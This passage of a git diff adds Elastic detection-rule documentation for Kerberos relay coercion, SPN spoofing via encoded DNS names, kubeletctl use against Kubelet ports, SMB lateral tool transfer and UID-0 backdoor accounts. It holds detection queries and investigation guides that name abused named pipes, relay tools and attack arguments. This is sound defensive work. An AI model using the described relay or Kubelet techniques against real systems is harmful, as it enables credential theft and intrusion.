unrelated events before using the alert for closure or escalation. + +- Did the Kerberos authentication create a usable session or only a failed attempt? + - Focus: auth source-event `event.code`, `winlog.event_data.Status`, `winlog.event_data.SubStatus`, `winlog.event_data.TargetLogonId`, and `source.ip`. + - Implication: prioritize confirmed compromise review when a 4624 produces a `winlog.event_data.TargetLogonId`; keep failed-only 4625 sequences suspicious when the source or pipe is unexplained, but lower urgency when the status pattern is a recurring, bounded failure from recognized infrastructure. + +- Does the source IP fit recognized infrastructure or relay-characteristic behavior? + - Focus: surrounding Windows Security authentication events for `source.ip` and `winlog.computer_name`, reading `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, `winlog.logon.type`, `winlog.event_data.Status`, and `winlog.event_data.SubStatus`. + - Hint: use same-source authentication events to see whether the source targets multiple machine accounts or alternates Kerberos successes and failures around the alert. !{investigate{"description":"","label":"Authentication events from this source to this target","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AuthenticationPackageName","queryType":"phrase","value":"Kerberos","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AuthenticationPackageName","queryType":"phrase","value":"Kerberos","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source is rare for this server, targets multiple machine accounts, or alternates Kerberos successes and failures outside a verified infrastructure role; missing surrounding authentication telemetry is unresolved, not benign. Lower suspicion only when the same bounded source/server/account/outcome pattern recurs and outside topology or owner evidence verifies the exact role. + +- If local evidence is suspicious or unresolved, is this part of broader relay activity? + - Focus: related alerts for `source.ip` that show additional coercion or machine-account Kerberos relay. !{investigate{"description":"","label":"Alerts associated with this source IP","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: pivot target-server related alerts for service creation, persistence, or remote execution only when the source pivot is suspicious; missing related alerts narrows existing-alert scope only, not host activity. !{investigate{"description":"","label":"Alerts associated with this target server","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: for raw Windows Security scoping after a 4624, review follow-on Windows Security events on the same `winlog.computer_name` where `winlog.event_data.SubjectLogonId` matches the recovered `winlog.event_data.TargetLogonId`; filter within results for service creation, task creation, share access, or persistence if the result set is large. Missing follow-on events is unresolved unless that event coverage is confirmed. !{investigate{"description":"","label":"Follow-on Windows Security events for the Kerberos logon session","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.TargetLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: expand scope when source history shows other coercion or machine-account Kerberos relay, or when target history shows follow-on service, persistence, or remote-execution alerts; keep containment local only when related alerts stay limited to the same explained infrastructure tuple. + +- Based on the recovered evidence, what disposition is supported? + - Focus: sequence integrity, target dollar-account identity, Kerberos outcome, source-fit tuple, and related-alert results. + - Implication: escalate when the sequence is intact and unexplained, when successful machine-account Kerberos comes from an unrecognized source, or when related-alert evidence shows follow-on abuse; close only when recovered source events and supported recovery bind one exact recognized infrastructure workflow with no contradictory evidence; preserve and escalate when evidence conflicts or visibility is missing. + + +*False positive analysis* + + +- Validated infrastructure peers or authorized relay/coercion testing are the narrow benign paths. Confirm by verifying the recovered source events align on the same `source.ip`, `winlog.computer_name`, target machine account in `winlog.event_data.TargetUserName`, Kerberos `winlog.event_data.AuthenticationPackageName`, network `winlog.logon.type`, bounded `winlog.event_data.Status`/`winlog.event_data.SubStatus`, and recovered pipe evidence for the same server/account/pipe/outcome tuple. If telemetry cannot explain the specific pipe, account, and outcome, do not close as benign. +- Use topology, owner, or test-plan confirmation only to verify the exact recovered tuple after source-event recovery. Before creating an exception, validate recurrence across prior alerts from this rule for the same source/server/account/pipe/outcome pattern. If this is the first confirmed benign occurrence, document it as a candidate exception and monitor before suppressing. Build exceptions from the full confirmed workflow pattern; avoid exceptions on `source.ip`, `winlog.computer_name`, or machine-account name alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the evidence that proved the workflow: `source.ip`, `winlog.computer_name`, target machine account, Kerberos network auth, bounded `winlog.event_data.Status`/`winlog.event_data.SubStatus`, and recovered pipe evidence. Create an exception only after the same full pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert export, Timeline source events, recovered pipe evidence, target machine-account identity, auth outcome, session identifier when present, and related-alert results before containment. Use reversible containment first: temporarily restrict SMB/RPC between `source.ip` and the affected server, or isolate the source host when its role tolerates isolation. Escalate to broader host or account action only if follow-on service, persistence, execution, or wider relay evidence appears. +- If confirmed malicious, preserve the same alert export, Timeline source events, recovered pipe evidence, target machine-account identity, auth outcome, session identifier when present, and related-alert results before action. Then contain the source host and restrict access to the affected `winlog.computer_name`; if direct containment is unavailable, hand off the preserved evidence set to the team that can act. Remove the coercion route, block the offending source path, and eradicate only services, scheduled tasks, dropped tools, or configuration changes confirmed during response. +- Rotate the affected computer-account secret and review adjacent delegated, service, or administrative credentials that could have been exposed through the relay path. Coordinate disruptive credential or host actions with identity and infrastructure owners when the target is a domain controller, cluster node, or other critical service. +- After containment, audit other servers reached from the same `source.ip` and retain Windows Security source events needed to reconstruct each source/server/account/pipe sequence. +- Post-incident hardening: before releasing containment for a reflective Kerberos relay path, validate the relevant CVE-2025-33073 fixes and SMB signing or service-specific signing/sealing/channel binding on the affected service tier. Restrict coercion-prone RPC and named-pipe exposure, then document the confirmed source/server/account/pipe pattern for future analysts and control owners. + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, source.ip with maxspan=5s + +/* Filter for an event that indicates coercion against known abused named pipes using an account that is not the host */ +[file where host.os.type == "windows" and event.code : "5145" and + not startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + file.name : ( + "Spoolss", "netdfs", "lsarpc", "lsass", "netlogon", "samr", "efsrpc", "FssagentRpc", + "eventlog", "winreg", "srvsvc", "dnsserver", "dhcpserver", "WinsPipe" + )] + +/* Detects a logon attempt using the Kerberos protocol resulting from the coercion coming from the same IP address */ +[authentication where host.os.type == "windows" and event.code in ("4624", "4625") and + endswith~(user.name, "$") and winlog.logon.type : "network" and + winlog.event_data.AuthenticationPackageName : "Kerberos" and + + /* Filter for a machine account that matches the hostname */ + startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + + /* Verify if the Source IP belongs to the host */ + not endswith(string(source.ip), string(host.ip)) and + source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc new file mode 100644 index 0000000000..a14214e6e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-kerberos-spn-spoofing-via-suspicious-dns-query]] +=== Potential Kerberos SPN Spoofing via Suspicious DNS Query + +Identifies queries for a DNS name containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse such names to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). Depending on the coerced service and negotiated authentication, this can support Kerberos relay or NTLM reflection/relay paths without relying on normal NTLM fallback behavior. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025.html +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Kerberos SPN Spoofing via Suspicious DNS Query* + + + +*Possible investigation steps* + + +- What exact marshaled-target DNS name did the host query, and did it resolve? + - Focus: DNS event subtype and status: `event.action`, `dns.question.name`, `dns.question.type`, `dns.Ext.status`, and `dns.resolved_ip`. + - Hint: record the full case-preserved `dns.question.name`; the UWhRC...BAAAA marker is the marshaled CREDENTIAL_TARGET_INFORMATION SPN-spoofing anchor. + - Implication: escalate when the marker is intact and a successful result returns one or more `dns.resolved_ip` values; treat failed or request-only lookups as unresolved, not benign. Lower suspicion only after FP criteria confirm authorized testing for the exact name and host. + +- Which local process or Windows component generated the DNS lookup? + - Focus: alert event and same-process start event for `host.id` and `process.entity_id`: `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.parent.executable`. + - Hint: if these fields are sparse on the DNS event, query process events for the same `host.id` and `process.entity_id` around `@timestamp` before judging lineage. !{investigate{"description":"","label":"Process events for the DNS lookup process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when a normal Windows service, browser, RPC client, SMB client, or WebDAV component resolves the marker without test context because it may be a coerced victim; also escalate when `process.command_line` exposes relay or coercion tooling such as RemoteKrbRelay, PetitPotam, krbrelayx, dnstool, Pretender, or wspcoerce. Lower suspicion only when identity and lineage match the same recognized test workflow. + +- Which host and principal anchors define containment and scope? + - Focus: alert host and principal anchors: `host.id`, `host.name`, `user.id`, `user.name`, and `user.domain`. + - Implication: use these anchors to scope related alerts, connection events, containment, and testing confirmation; do not lower suspicion on a familiar host or user without DNS, process, and destination alignment. Escalate priority when later connection or related-alert evidence uses the same anchors. + +- Did the host connect to an IP returned by the suspicious DNS lookup? + - Focus: process-scoped network events for `host.id` and `process.entity_id`, correlating `dns.resolved_ip` from DNS results to connection-event `destination.ip`, `destination.port`, and `network.direction`. !{investigate{"description":"","label":"Network events for the same process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if a resolver helper, proxy, or service split separates lookup and connection, widen to same-host connections for the recovered IPs after the DNS result. + - Implication: escalate when the same process or host reaches a recovered IP, especially on relay-relevant services such as SMB, LDAP/LDAPS, HTTP/ADCS, RPC, or WinRM. Missing network telemetry is unresolved, not benign; DNS-only evidence still requires process and host explanation. + +- Does the resolved destination fit a relay path rather than recognized test infrastructure? + - Focus: connection-event `destination.ip`, `destination.port`, `destination.as.organization.name`, and `destination.geo.country_iso_code` for IPs recovered from the prior DNS result. + - Hint: ASN and geo enrichment are expected mainly for public destinations; missing enrichment on private or loopback IPs is unresolved, not benign. + - Implication: escalate when the recovered IP is public or paired with relay-relevant ports that do not match confirmed testing evidence; if enrichment points to private, internal, or familiar infrastructure, carry it into FP validation instead of closing on ownership alone. + +- If local evidence remains suspicious or unresolved, where else does the same activity appear? + - Focus: related alerts for `host.id` covering credential access, forced authentication, relay, lateral movement, or staging. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: then check whether the same `dns.question.name` appears on other hosts to separate one-host testing from shared relay infrastructure. !{investigate{"description":"","label":"DNS and network events involving the same DNS name","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"dns.question.name","queryType":"phrase","value":"{{dns.question.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same host shows coercion or staging alerts, or when the exact encoded hostname appears on unrelated hosts; keep the case bounded when recurrence stays inside one confirmed test cohort. + +- Escalate when the marshaled DNS marker plus process, host, destination, connection, or related-alert evidence indicates unauthorized relay or coercion; close only when DNS, process, host, destination, and scope evidence all align with one confirmed authorized security-testing workflow; preserve evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Authorized red-team, purple-team, relay-lab validation, or security-research harnesses can generate this marker. Confirm only when the exact `dns.question.name`, process identity, parent context, `host.id`, user context, resolved destination, and related-alert scope all align with the same exercise. Use exercise records or owner confirmation as corroboration when telemetry alone cannot prove authorization; do not close solely on recurrence unless it stays inside a confirmed test cohort. +- Build exceptions from the minimum confirmed workflow pattern: `process.executable`, `process.pe.original_file_name`, `process.parent.executable`, `host.id`, user or test cohort, and recognized destination pattern. Avoid exceptions on `dns.question.name` alone, host alone, destination ownership alone, or broad tool names. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact DNS marker, tool identity, parent context, host scope, user or test cohort, and destination pattern. Create an exception only after the same confirmed workflow proves stable across prior alerts. +- If suspicious but unconfirmed, preserve the alert and DNS events, exact `dns.question.name`, recovered `dns.resolved_ip` values, process tree, host and user context, connection events, and linked alert IDs before containment. Apply reversible containment tied to the findings, such as temporarily blocking the encoded hostname or recovered IPs, tightening outbound access from the affected host, or increasing monitoring; escalate to host isolation only when follow-on connectivity, relay evidence, or privileged-host exposure makes the risk unacceptable. +- If confirmed malicious, capture volatile endpoint state and process details before termination or cleanup, then isolate the host when identity, destination, or follow-on connection evidence confirms relay or coercion. Block or sinkhole the malicious hostname and recovered IPs, and remove malicious AD DNS records only after confirming record ownership or tampering evidence. +- If separate asset or incident context confirms the affected host or principal is identity infrastructure or privileged administration scope, activate the identity or Active Directory compromise response plan, scope machine-account or service-account exposure tied to the preserved host, user, destination, and related-alert evidence, and review related relay or forced-authentication activity on surrounding systems. +- Eradicate only the unauthorized tooling, scripts, scheduled tasks, service changes, or DNS records uncovered during the investigation, then remediate the access path or permissions that allowed the coercion record or tool to be introduced. +- After containment, hunt for the same encoded hostname pattern, recovered IPs, and process lineage across other hosts. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name : "*UWhRC*BAAAA*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kubeletctl-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kubeletctl-execution.asciidoc new file mode 100644 index 0000000000..926da4a51b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kubeletctl-execution.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-potential-kubeletctl-execution]] +=== Potential Kubeletctl Execution + +Detects the execution of kubeletctl on Linux hosts. Kubeletctl is a command-line tool that can be used to interact with the Kubelet API directly, simplifying access to Kubelet endpoints that can be used for discovery and, in some cases, lateral movement within Kubernetes environments. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster +* https://github.com/cyberark/kubeletctl + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Kubeletctl Execution* + + +This alert flags kubeletctl execution on a Linux host. Kubeletctl provides direct access to the node’s Kubelet API and can +be used to enumerate pods and nodes and attempt actions such as exec/attach/portForward. A common attacker pattern is +running `kubeletctl scan` to find reachable Kubelet endpoints, then using `pods` or `exec/attach` for follow-on access. + + +*Possible investigation steps* + + +- Review the full command line to identify the intended operation (scan/pods/exec/attach/portForward) and the target + Kubelet endpoint (node IP/hostname and port via `-s`/`--server`). +- Correlate with host and container telemetry for connections to Kubelet ports (commonly 10250/10255) and look for + scanning patterns across multiple nodes. +- Check whether Kubernetes credentials were accessed or used (service account tokens, kubeconfigs, client certs) and + correlate with Kubernetes audit logs for follow-on actions. + + +*False positive analysis* + + +- Approved operational debugging or incident response activity that uses kubeletctl for diagnostics. + + +*Response and remediation* + + +- Restrict access to Kubelet ports at the network layer and harden Kubelet authentication/authorization. +- Rotate/revoke any exposed Kubernetes credentials and investigate for follow-on discovery or execution attempts. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "executed") and +( + process.name == "kubeletctl" or + (process.args in ("run", "exec", "scan", "pods", "runningpods", "attach", "portForward", "cri", "pid2pod") and process.args:("*:10250*", "*:10255*")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lateral-tool-transfer-via-smb-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lateral-tool-transfer-via-smb-share.asciidoc new file mode 100644 index 0000000000..6f3d217a66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lateral-tool-transfer-via-smb-share.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-potential-lateral-tool-transfer-via-smb-share]] +=== Potential Lateral Tool Transfer via SMB Share + +Identifies the creation or change of a Windows executable file over network shares. Adversaries may transfer tools or other files between systems in a compromised environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Lateral Tool Transfer via SMB Share* + + +Adversaries can use network shares to host tooling to support the compromise of other hosts in the environment. These tools can include discovery utilities, credential dumpers, malware, etc. Attackers can also leverage file shares that employees frequently access to host malicious files to gain a foothold in other machines. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve the created file and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity can happen legitimately. Consider adding exceptions if it is expected and noisy in your environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges needed to write to the network share and restrict write access as needed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [network where host.os.type == "windows" and event.type == "start" and process.pid == 4 and destination.port == 445 and + network.direction : ("incoming", "ingress") and + network.transport == "tcp" and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + /* add more executable / script extensions here if they are not noisy in your environment */ + [file where host.os.type == "windows" and event.type in ("creation", "change") and process.pid == 4 and user.id like ("S-1-5-21*", "S-1-12-*") and + (file.Ext.header_bytes : "4d5a*" or file.extension : ("exe", "scr", "pif", "com", "dll", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "cpl")) and + not file.path : ( + "?:\\Windows\\VeeamVssSupport\\*", + "?:\\Windows\\VeeamLogShipper\\*" + )] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-backdoor-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-backdoor-user-account-creation.asciidoc new file mode 100644 index 0000000000..8e34ef6db5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-backdoor-user-account-creation.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-potential-linux-backdoor-user-account-creation]] +=== Potential Linux Backdoor User Account Creation + +Identifies the attempt to create a new backdoor user by setting the user's UID to 0. Attackers may alter a user's UID to 0 to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Backdoor User Account Creation* + + +The `usermod` command is used to modify user account attributes and settings in Linux-based operating systems. + +Attackers may create new accounts with a UID of 0 to maintain root access to target systems without leveraging the root user account. + +This rule identifies the usage of the `usermod` command to set a user's UID to 0, indicating that the user becomes a root account. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack 